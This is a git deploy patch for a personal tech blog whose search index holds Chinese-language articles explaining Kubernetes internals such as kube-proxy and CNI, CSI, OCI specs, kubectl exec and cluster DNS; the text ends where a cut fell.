From 97929ed8a3613198ed2fddcb777c97e059d5488a Mon Sep 17 00:00:00 2001 From: RifeWang Date: Wed, 9 Oct 2024 05:25:15 +0000 Subject: [PATCH] deploy: d28b8c7f8e20e0949bd3dc80d22eb46c13e76e39 --- index.json | 2 +- resume/index.xml | 5 +++-- resume/resume/index.html | 12 +++++++----- sitemap.xml | 2 +- 4 files changed, 12 insertions(+), 9 deletions(-) diff --git a/index.json b/index.json index 8b48a1c..231feab 100644 --- a/index.json +++ b/index.json @@ -1 +1 @@ -[{"categories":["Kubernetes"],"content":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","date":"2024-10-07","objectID":"/kube-proxy-cni/","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"在 Kubernetes 中,kube-proxy 和 CNI 插件协同工作,确保集群内 Pod 之间的互联互通。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:0:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"Kube-proxy \u0026 CNI 如上图所示,假设我们有一个类型为 ClusterIP 的 Service,它对应两个位于不同节点的 Pod。 当我们从 Pod A 对该 Service 发起请求时: Pod A: 192.168.0.2 --\u003e service-name(通过域名访问 Service)。 CoreDNS 进行域名解析,返回 service-name 的 clusterIP 地址: Pod A: 192.168.0.2 --\u003e 10.111.13.31 Linux 内核的 Netfilter 进行 DNAT(目标网络地址转换),选择一个真实的后端 Pod IP: Pod A: 192.168.0.2 --\u003e 192.168.1.4 如果请求的 Pod 位于不同节点,则 CNI 插件将根据其配置的网络模式: 直接交由主机网络转发数据包, 或者使用 VXLAN / IPIP 等方式封包之后再转发数据包。 以上是基本流程,但实际过程中涉及更多细节。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:1:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"kube-proxy kube-proxy 通常部署为 DaemonSet,确保所有 worker node 都有一个 pod。它连接 kube-apiserver,监听所有 Service(以及相关的 Endpoints、EndpointSlices)对象,然后通过 iptables 或 ipvs 配置节点的 Netfilter。 Netfilter 是 Linux 内核中用于处理网络数据包的框架。它工作在网络协议栈的多个位置(如输入、输出、转发),允许对数据包进行过滤、修改、重定向等操作。它的钩子机制允许在数据包处理的不同阶段插入自定义规则。 iptables 和 ipvs 都使用了 Netfilter 的功能。 Service 的 ClusterIP 是一个 virtual IP(虚拟 IP,简称 VIP),虚拟的含义是它本身没有实际的网络实体,只是被用作数据包的处理逻辑。 kube-proxy 使用 iptables 或者 ipvs 设置 Service ClusterIP(虚拟 IP)和 DNAT/SNAT 规则。当 Pod A 访问 ClusterIP 时,Linux 内核会通过这些规则将虚拟 IP 替换为真实的 Pod IP。 查看 iptables 的规则形如: 查看 ipvs 的规则形如: Service 可能会对应多个 Pod,此时就涉及到负载均衡算法。iptables 使用的是随机选择;而 ipvs 则支持多种算法,包括 rr(Round Robin 轮询,默认值)、lc(Least Connection 最少连接)、sh(Source Hashing 源 IP 哈希)等等十几种。 总之,kube-proxy 监听 Service 并使用 iptables 或者 ipvs 去配置 Linux 内核的数据包修改、转发规则。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:1:1","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"CNI 当 Linux 内核完成 DNAT/SNAT 之后,接下来的步骤是发包。如果 Pod 的 MAC/IP 在集群网络中可达,则 CNI 插件无需做额外操作,直接交由主机网络发包即可。然而,很多时候无法满足此要求,因此 CNI 插件提供了 Overlay 这种网络模式,通过 VXLAN 或 IPIP 等方式再次封装数据包,然后进行传输。 有关 CNI 插件的网络模型,可以参考我之前的文章《Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP》。 常见的 CNI 插件(如 Flanne、Calico)使用的 VXLAN 或 IPIP 是基于 Linux 内核的功能,CNI 插件的主要作用是进行配置。 这意味着,kube-proxy 和 CNI 插件都只是为 Linux 内核提供配置,而实际的数据包处理仍由内核完成。(某些 CNI 插件如 Cilium 通过 eBPF 等技术可以绕过内核,直接在用户空间处理数据包。) ","date":"2024-10-07","objectID":"/kube-proxy-cni/:1:2","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"无需 kube-proxy kube-proxy 存在一些局限性,例如随着集群中 Service 和 Pod 数量的增长,iptables 的规则匹配效率会下降,即使 ipvs 进行了优化,依然面临性能开销。此外,频繁的 Service 和 Pod 更新会导致规则重新应用,可能带来网络延迟或中断。kube-proxy 还依赖于 Linux 内核的 Netfilter,一旦内核配置不当或不兼容,可能会出现网络问题。 事实上,kube-proxy 的工作相对简单,如果网络插件能够实现数据包的高效转发,并提供与 kube-proxy 等效的功能,那么就不再需要 kube-proxy 了。例如,Cilium 通过 eBPF 实现了无代理的服务流量转发,完全可以替代 kube-proxy。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:2:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"总结 在 Kubernetes 集群中,kube-proxy 和 CNI 插件通过配置 Linux 内核的网络组件(如 Netfilter、VXLAN 等),协同工作以确保 Pod 和 Service 之间的通信。随着 eBPF 等技术的发展,某些 CNI 插件能够实现无代理的服务转发,进一步优化了网络性能。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://kubernetes.io/docs/reference/networking/virtual-ips/ https://docs.cilium.io/en/stable/network/kubernetes/kubeproxy-free/ ","date":"2024-10-07","objectID":"/kube-proxy-cni/:3:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"Kubernetes CSI 简介:工作流程和原理","date":"2024-09-29","objectID":"/k8s-csi/","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"本文将会以 CSI driver - NFS 为例,讲述 CSI 驱动的工作流程和原理。 ","date":"2024-09-29","objectID":"/k8s-csi/:0:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"CSI 概述 CSI 驱动通常分为两个部分: Controller plugin: 负责存储资源的管理,如卷的创建、删除、扩容、快照等。 Node plugin: 处理节点级别的存储操作,负责在具体的节点上执行卷的挂载和卸载等任务。 CSI 与 kubernetes 组件的交互: Controller plugin 与 kube-api-server 交互,监听存储资源的变更并执行相应操作。 Node plugin 向 kubelet 注册自己,而后 kubelet 会向其发起调用。 由于交互的通用性,为了简化 CSI 驱动程序的开发,社区提供了很多 CSI Sidecar Containers,包括上图中的: external-provisioner:用于卷的动态配置。监听 PVC 对象,向 CSI 驱动程序发起 CreateVolume 或 DeleteVolume 调用。 node-driver-registrar:负责将 CSI 驱动注册到 kubelet,以便后续的调用。 除此 Sidecar 之外还有: external-attacher:用于卷的 attach/detach hooks 集成。 external-resizer:用于卷的扩容。 external-snapshotter:处理卷的快照。 livenessprobe:监控 CSI 驱动程序的健康状况。 ","date":"2024-09-29","objectID":"/k8s-csi/:1:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"CSI 使用过程 1. CSI 驱动准备阶段 确保集群中已正确安装 CSI 驱动,通常: Controller plugin 以 Deployment 或 StatefulSet 的方式部署。 Node plugin 由于是节点级别的操作,所以部署为 DaemonSet,每个节点运行一个 Pod。 安装完成后,Controller plugin 会向 kube-api-server 监听相关的资源对象,Node plugin 则会向 kubelet 注册自己。 2. 卷的动态配置 集群管理员创建 StorageClass 对象来声明存储类型。 用户创建 PVC 对象并指定 StorageClass,此时 Controller plugin 中的: provisioner 监听到 PVC 创建后,向 nfs-driver 发起 gRPC CreateVolume 调用。 nfs-driver 向 NFS server 准备好共享存储目录。 最后,provisioner 创建 PV。至此,PVC 与 PV 完成了绑定。 3. 创建 Pod 并使用卷 用户创建 Pod 并使用卷。 kube-api-server 接受到请求,kube-scheduler 将 Pod 调度到节点上。 该节点上的 kubelet 向 Node plugin 发起 gRPC NodePublishVolume 调用,由 Node plugin 中的 nfs-driver(具体的 CSI 驱动程序)完成文件目录的挂载。 至此,Pod 中的应用程序便可以使用挂载好的文件目录了,就像使用本地文件系统一样。 然而,Pod 中的应用程序实际操作的却是 NFS 远程共享目录,这又是怎么做到的? ","date":"2024-09-29","objectID":"/k8s-csi/:1:1","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"Linux VFS Linux 在实际的文件系统之上,其实还有一层 VFS(virtual filesystem)虚拟文件系统。 VFS 是一个抽象层,它允许应用程序通过统一的系统调用来操作不同类型的文件系统。无论是本地文件系统还是远程文件系统(如 NFS),操作都经过 VFS 中转。对于挂载了 NFS 目录的系统,VFS 会将相应的系统调用转交给 NFS 客户端,NFS 客户端则使用 RPC 网络通信与 NFS 服务器进行交互。 ","date":"2024-09-29","objectID":"/k8s-csi/:2:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"总结 除了 NFS 之外,CephFS 等其他分布式存储系统也采用了类似的工作原理和流程。 CSI 定义了标准化的 gRPC 协议,以及 CSI 驱动的交互过程和架构,使得各种存储系统可以通过统一的接口集成到 Kubernetes 中。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://github.com/container-storage-interface/spec/blob/master/spec.md https://kubernetes-csi.github.io/docs/introduction.html https://github.com/kubernetes-csi/csi-driver-nfs https://www.starlab.io/blog/introduction-to-the-linux-virtual-filesystem-vfs-part-i-a-high-level-tour ","date":"2024-09-29","objectID":"/k8s-csi/:3:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"OCI 简介 在容器化技术的演进中,OCI(Open Container Initiative)提供了一套标准化的规范,帮助统一容器的构建、分发和运行。OCI 规范包含三个部分: OCI Image-spec:定义了容器镜像的结构,确保镜像可以被各种工具识别和管理。 OCI Distribution-spec:定义了容器镜像的分发方式,保证镜像可以通过标准化的 HTTP API 与镜像仓库交互。 OCI Runtime-spec:定义了容器的运行标准,确保容器运行时可以统一执行和管理容器生命周期。 下文将结合从代码到容器的完整 CICD 流程,详细讲解每个 OCI 规范的具体作用。 ","date":"2024-09-26","objectID":"/oci/:1:0","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"从代码到容器 ","date":"2024-09-26","objectID":"/oci/:2:0","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"1. Code -\u003e OCI Image 代码被集成之后,便可以使用 docker、podman/buildah 或者 kaniko 等工具来构建容器镜像。 此时,OCI Image-spec 便发挥了重要的作用,该规范定义了镜像的组成部分,使得不同工具能够跨平台识别和使用同一个镜像。 由于 docker 对行业的影响力,部分从业者会认为 image 就是 docker image,这其实并不对,准确来说,docker 只是工具之一,不管是使用什么工具构建出来的镜像应该统称为 OCI image。 OCI Image-spec 规范定义了镜像的结构,一个 image 至少包括: Manifest:元数据文件,描述镜像的组成部分。 Layers:层,镜像由多层堆叠组成,每一层表示文件系统的增量变化。 Configuration:配置文件,描述环境变量、启动命令、工作目录等信息。 让我们看看 busybox 这个镜像的结构: 从上图中可以看到,manifest 元数据文件、config 配置文件、layers 层文件一应俱全。 一个 image 其实也只是一堆文件和文件夹的集合。 ","date":"2024-09-26","objectID":"/oci/:2:1","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"2. OCI Image -\u003e Registry 在镜像构建完成后,需要推送到镜像仓库。OCI Distribution-spec 规范则定义了镜像如何通过标准的 HTTP API 在仓库中存储、拉取和分发。 OCI Distribution-spec 规范确保了不同的仓库和客户端可以使用统一的 API 进行镜像的分发。这样仓库既可以使用公共仓库(如 Docker Hub),也可以使用私有仓库(如 Harbor)。而客户端只要使用规范中的 HTTP 请求则都可以上传或下载镜像。 ","date":"2024-09-26","objectID":"/oci/:2:2","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"3. Kube-API-Server -\u003e Kubelet -\u003e Containerd/CRI-O 镜像上传完成之后,便可以创建或更新应用了。所有请求统一先由 kube-api-server 处理,然后 scheduler 将 Pod 调度到节点上,随后节点上的 kubelet 负责后续处理。 kubelet 通过 CRI gRPC 与具体的组件 Containerd 或 CRI-O 进行交互,由后者完成镜像的下载和容器的创建。 ","date":"2024-09-26","objectID":"/oci/:2:3","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"4. Containerd/CRI-O -\u003e Runc/Kata-containers Containerd 和 CRI-O 本身并不直接负责容器的创建和运行,它们会通过 OCI Runtime-spec 与底层容器执行工具 runc 或 kata-containers 交互,由 runc 或 kata-containers 完成容器的执行。 Runc 和 Kata-containers: runc 是最常见的容器执行工具,直接与 Linux 内核交互,通过 cgroups 和 namespaces 实现容器的隔离和资源管理。 kata-containers 则是在虚拟机中运行容器,提供更强的隔离性,适用于需要高安全性的场景。它仍然遵循 OCI runtime-spec,但运行环境更加虚拟化。 OCI runtime-spec 规范规定了: 容器的配置:通过 config.json 配置文件描述了容器的进程、挂载、hooks 钩子、资源限制等等信息。 执行环境:如何保证环境的一致性,包括将镜像解压到运行时 filesystem bundle 文件系统包中。 生命周期:明确了容器从创建到消失期间的详细过程。 如何查看 OCI runtime-spec 规定的 config.json 文件? 先找到 Pod 所在的 Node 节点,然后 SSH 登录到该节点 再使用 CRI 工具,如 crictl ps 找到容器 ID。 如果是 containerd 则文件位置是 /run/containerd/io.containerd.runtime.v2.task/k8s.io/\u003ccontainer-id\u003e/config.json;在 cri-o 中则可能是 /run/containers/storage/\u003ccontainer-id\u003e/userdata/config.json。 我创建了一个 busybox ,它的 OCI runtime-spec config.json 如下图所示: 而这个 OCI runtime-spec 规定的 config.json 其实就是 Containerd 或 CRI-O 根据 Pod 的定义(命令及参数、环境变量、资源限制等等)和上下文等信息生成的。 ","date":"2024-09-26","objectID":"/oci/:2:4","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"总结 从代码到容器实际运行,整个过程中多个组件和标准紧密协作,本文重点关注了 OCI 的三个核心规范(image-spec、distribution-spec 和 runtime-spec),这些规范确保了容器在不同环境中的兼容性和可移植性,正如 OCI 这个名字的含义一样 —— 开放容器倡议。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://opencontainers.org/about/overview/ https://github.com/opencontainers/image-spec/blob/main/spec.md https://github.com/opencontainers/runtime-spec/blob/main/spec.md https://github.com/opencontainers/distribution-spec/blob/main/spec.md https://github.com/opencontainers/runc ","date":"2024-09-26","objectID":"/oci/:3:0","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"kubectl 执行一条命令之后发生了什么?","date":"2024-09-22","objectID":"/kubectl-to-k8s/","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kubectl 是与 Kubernetes 集群交互的命令行工具,用户通过它可以对集群资源进行操作和管理。你有没有想过,当我们执行一条 kubectl 命令之后,背后都发生了什么? ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:0:0","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"详细过程 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:0","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kubectl -\u003e kube-api-server 根据通信类型,我把 kubectl 命令分为两类:单向通信和双向通信。 单向通信:kubectl 通过 HTTPS 向 kube-api-server 发起请求并接收响应。大部分 kubectl 命令都是单向通信的,比如资源的创建、删除、修改和查询等。 双向通信:在执行某些持续性操作时,例如 exec、attach、port-forward、logs 等等少数命令,kubectl 与 kube-api-server 之间会使用 WebSocket 进行双向通信,此时双方可以进行持续性的双向的消息传递。 对于大部分单向通信的命令,kube-api-server 处理(可能与 etcd 交互)之后就会响应给 kubectl,虽然集群内其它组件可能会有后续动作,但是 kubectl 到 kube-api-server 的过程则到这里就结束了。 然而,双向通信的命令,其处理的链路会更长。下文以 kubectl exec -it nginx -- bash 这条命令为例进行详细说明。 如上图所示,kubectl 会先向 kube-api-server 发起 HTTPS 请求,并协商升级为 WebSocket,至此 kubectl 与 kube-api-server 之间可以持续的收发消息。 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:1","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kube-api-server -\u003e kubelet kubelet 会启动以下三个 server: HTTPS server:这是 kubelet 的主要服务,提供了完整的与 kube-api-server 和其他组件交互的接口,处理和控制所有与容器、Pod 生命周期相关的重要操作,包括 /healthz 健康检查、/metrics 指标采集、/pods pod 管理,以及 /exec、/attach、/portForward 等等接口: /exec/{podNamespace}/{podID}/{containerName} /attach/{podNamespace}/{podID}/{containerName} /portForward/{podNamespace}/{podID}/{containerName} /containerLogs/{podNamespace}/{podID}/{containerName} HTTP Read-Only server:提供只读的 API,用于公开一些状态信息,出于安全考虑默认禁用。可以通过 --read-only-port 参数启用,但不建议在生产环境中使用。 gRPC server:专门用于查询节点上 Pod 和容器的资源分配情况。 当 kube-api-server 收到 kubectl exec 请求后,会通过 HTTPS 向 kubelet 发起请求,由 kubelet 负责进一步处理。 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:2","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kubelet -\u003e CRI kubelet 通过 gRPC 调用 CRI 组件,向容器运行时传递指令。 gRPC 协议定义了 RuntimeService 和 ImageService 两种服务及多种方法,其中就包括: RuntimeServer.ExecSync RuntimeServer.Exec RuntimeServer.Attach RuntimeServer.PortForward CRI 组件最终执行指令,并将执行结果(stdout/stderr)依次经由 kubelet、kube-api-server 最后返回给 kubectl 并在客户端显示。这就是完整的过程。 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:3","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"总结 文本讲述了 kubectl 命令执行背后的整个过程,以 kubectl exec 为例,涉及 kube-api-server、kubelet、CRI 等多个组件的协作,以及 HTTPS、WebSocket、gRPC 等多种通信协议。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://kubernetes.io/docs/reference/kubectl/generated/ https://erkanerol.github.io/post/how-kubectl-exec-works/ https://github.com/kubernetes/kubernetes/blob/v1.31.1/pkg/kubelet/server/server.go ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:2:0","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"Kubernetes 集群内 DNS","date":"2024-09-17","objectID":"/k8s-dns/","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"DNS 简介 在互联网早期,随着连接设备数量的增加,IP 地址的管理与记忆变得越来越复杂。为了简化网络资源的访问,DNS(Domain Name System)应运而生。DNS 的核心作用是将用户可读的域名(如 www.example.com)解析为对应的 IP 地址(如 93.184.215.34),从而使用户无需记忆复杂的数字串,便能轻松访问全球各地的网络资源。 DNS 是一种应用层协议,与 HTTP(S) 等协议同属 OSI 网络模型中的最高层。它依赖于 client-server 模型进行工作,客户端向 DNS 服务器发出查询请求,服务器返回对应的 IP 地址。传统的 DNS 通过 UDP 或 TCP 传输,随着互联网安全需求的提升,DNS over TLS、DNS over HTTPS (DoH)、DNS over QUIC 等新协议也相继推出,以增强数据隐私和安全性。 要实现 DNS 查询,客户端需要知道 DNS 服务器地址,而这些信息通常配置在客户端的 /etc/resolv.conf 文件中。这个文件记录了 DNS 服务器的 IP 地址以及查询时的附加选项。接下来我们会详细探讨 Kubernetes 集群内的 /etc/resolv.conf 文件和相关的 kubelet 配置。 ","date":"2024-09-17","objectID":"/k8s-dns/:1:0","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"K8S DNS 配置详解 在 Kubernetes 中,每个 Pod 都拥有一个由 kubelet 自动生成的 /etc/resolv.conf 文件,文件内容一般如下: nameserver 10.96.0.10 search default.svc.cluster.local svc.cluster.local cluster.local options ndots:5 其中: nameserver:指定了 DNS server 的集群内 IP 地址,DNS server 早期使用的是 kube-dns,现在则基本是 CoreDNS。如果 nameserver 设置了多个地址,则表示前一个地址无响应时依次向下一个地址发起 DNS 查询。 search:定义了 DNS 查询时的域名后缀补全顺序。 options ndots:5:这个选项规定域名中至少有 5 个 . 才会被认为是 FQDN 完全限定域名。如果查询的域名中点的数量不足,则会根据 search 补全后缀。例如,查询 mysvc 时,其会被补全为 mysvc.default.svc.cluster.local.,最后真正请求的是补全后的域名。 /etc/resolv.conf 文件是由 kubelet 在 Pod 启动时为每个 Pod 自动生成的。Kubelet 的配置(早期通过命令行参数的形式,后面则调整为了配置文件)决定了 Pod 中 /etc/resolv.conf 的具体内容,具体关联如下: --cluster-dns 或 clusterDNS:指定集群内 DNS 服务器的 IP 地址,映射到 /etc/resolv.conf 中的 nameserver。 --cluster-domain 或 clusterDomain:用于配置集群的默认域名后缀(如 cluster.local),映射到 /etc/resolv.conf 中的 search。 options ndots:5 这一项则在 kubelet 代码中写死了,参考 kubelet 源码。 补充说明:search default.svc.cluster.local ... 是 kubelet 的默认规则,对应 \u003cnamespace\u003e.svc.\u003cclusterDomain\u003e,namespace 是 pod 所在的命名空间名称。 此外,Pod 的 DNS 行为也受 dnsPolicy 和 dnsConfig 这两个配置的影响。 dnsPolicy 决定 Pod 使用哪种 DNS 策略。有以下四种取值: Default:虽然名字叫 default 但并不是默认选型,此时 pod 的 /etc/resolv.conf 使用所在 node 节点的配置,而该配置又通过 kubelet 的配置项 resolvConf 指定。 ClusterFirst:默认选项,使用集群内的 DNS server 进行域名解析。 ClusterFirstWithHostNet:当 pod 使用 hostNetwork 时应该设置此项。 None:忽略此前 DNS 设置,具体配置完全由 dnsConfig 决定。 dnsConfig 自定义 pod 的 /etc/resolv.conf,例如: apiVersion: v1 kind: Pod metadata: namespace: default name: dns-example spec: containers: - name: test image: nginx dnsPolicy: \"None\" dnsConfig: # 自定义 pod 的 /etc/resolv.conf nameservers: - 192.0.2.1 searches: - ns1.svc.cluster-domain.example - my.dns.search.suffix options: - name: ndots value: \"2\" ","date":"2024-09-17","objectID":"/k8s-dns/:2:0","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"总结 DNS 是 client-server 请求-响应模型,日常所说的公网的 DNS 被称为 global DNS,而像 kubernetes 集群内的 DNS 则是 private DNS。在 Kubernetes 集群中,Pod 的 DNS 设置由 kubelet 管理,所有的 DNS 查询首先由集群内的 DNS 服务器(通常是 CoreDNS)处理。Pod 的 /etc/resolv.conf 文件内容则由 kubelet 的配置以及 Pod 的 dnsPolicy 和 dnsConfig 设置决定。掌握这些配置项的含义与用法,对于在 Kubernetes 集群中进行 DNS 问题排查和优化至关重要。 参考资料: https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/ https://www.man7.org/linux/man-pages/man5/resolv.conf.5.html https://www.rfc-editor.org/rfc/rfc9499.html https://www.rfc-editor.org/rfc/rfc1034.txt https://www.rfc-editor.org/rfc/rfc1035.txt ","date":"2024-09-17","objectID":"/k8s-dns/:3:0","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","date":"2024-09-13","objectID":"/k8s-cni-network-model/","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"序言 网络是容器通信的基础,Kubernetes 本身并未提供开箱即用的网络互通功能,只提出了两点基本要求: pods can communicate with all other pods on any other node without NAT agents on a node (e.g. system daemons, kubelet) can communicate with all pods on that node 至于如何实现这些通信能力,通常依赖于 CNI 插件来完成。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:1:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"IPAM Kubernetes 的网络模型要求每个 Pod 拥有唯一的 IP 地址,负责管理和分配这些 IP 地址的功能由 IPAM(IP Address Management)来实现。而 IPAM 也是 CNI 插件的重要组成部分。 一种常见的 IPAM 实现方式是先给每个 node 节点分配一个 CIDR(Classless Inter-Domain Routing 无类别域间路由),然后根据 node 节点的 CIDR 范围分配该节点上的 Pod IP 地址。 例如,每个 node 节点设置 CIDR: apiVersion: v1 kind: Node metadata: name: node01 spec: podCIDR: 192.168.1.0/24 podCIDRs: - 192.168.1.0/24 --- apiVersion: v1 kind: Node metadata: name: node02 spec: podCIDR: 192.168.2.0/24 podCIDRs: - 192.168.2.0/24 上例中: node01 的 podCIDR 是 192.168.1.0/24(地址范围是:192.168.1.0 ~ 192.168.1.255),那么该节点上 Pod 的 IP 地址范围是:192.168.1.1 ~ 192.168.1.254(首尾两个地址有其它特殊用途)。 node02 的 podCIDR 是 192.168.2.0/24(地址范围是:192.168.2.0 ~ 192.168.2.255),那么该节点上 Pod 的 IP 地址范围是:192.168.2.1 ~ 192.168.2.254。 简单理解就是给每个 node 节点划分一个小的子网,同一个 node 节点上的 pod IP 地址处于同一个子网范围内。 注意!以上只是 IPAM 的实现方式之一,不同的 CNI 插件可能还会提供其它的实现方式。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:2:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"Linux VETH \u0026 Bridge Pod 的 IP 地址确定后,接下来的问题是如何在集群内进行通信。 Linux 提供了丰富的虚拟网络接口类型来支持复杂的网络环境。VETH(virtual Ethernet)和 Bridge 就是其中的两种虚拟网络接口。 如上图所示(你可能见过很多类似的图片)。每个 Pod 有自己的 network namespace(独立的网络命名空间),通过 veth pair 与 root namespace(主机网络命名空间)打通,然后再使用 bridge(通常叫 cni0 或 docker0)将所有 veth pair 连接在一起。 需要注意的是,VETH 和 Bridge 是相互独立的技术。如果我们使用 veth pair 直连两个 pod ,那么这两个 pod 就可以互相通信。但是如果只使用 veth pair,当 pod 数量越来越多时,为了确保两两互通,veth pair 的数量就会非常庞大进而难以管理,这也是使用 bridge 的原因之一。 在同一个 node 节点上的 pod 互相通信很容易理解,veth pair 和 bridge 在本机就处理掉了。 但如果跨越多个 node 节点的时候呢?我们似乎很想当然的以为,由 bridge 交给 root namespace 的 eth0 真实网卡去转发流量就行了,真的这么简单吗? 当然不是!node 节点可能是虚拟机或者物理机,node 节点可能在同一台物理机上通过虚拟网络互联,也可能是不同的物理机通过路由器或交换机相互连接。这里的问题就在于,连接 node 节点的这个网络设备(虚拟/真实的路由器/交换机/其它设备)是否能够直接路由 Pod 的 MAC/IP 地址?(路由 node 的 IP 地址很自然,但是 node 内部的 pod MAC/IP 地址又怎么知道呢?) 如果上面这个问题的答案是可以,那么 CNI 插件只使用 VETH 和 Bridge 就能完成集群内容器的互联互通,这就是本文想说的第一种 CNI 网络模型,在 Cilium 中,这种网络模型称为 Native-Routing,而在 Flannel 中则叫 host-gw 模式。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:3:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"Overlay 如前文所述,如果连接 node 节点的路由设备无法路由 pod MAC/IP,那么集群内的网络互通又如何保证?答案是使用 Overlay 网络。 各个 node 节点是互通的(node IP 可路由),那么将原始数据包封装一层再传输,例如 VXLAN 封包: 如上图所示,原始的 pod IP 地址被封装在 Inner Ethernet Frame 里作为数据包,在外层添加 node 节点的 IP 地址,由于 node 节点互通,因此数据包会被正常转发到目标 node 节点,然后再解包并根据内层的 pod IP 转发给 pod。 Overlay 网络通过在现有网络的基础上封装额外的一层网络包,使得 Pod 可以跨节点进行通信。 Overlay 的实现方式有很多,VXLAN 是比较常见的一种,除此之外还有 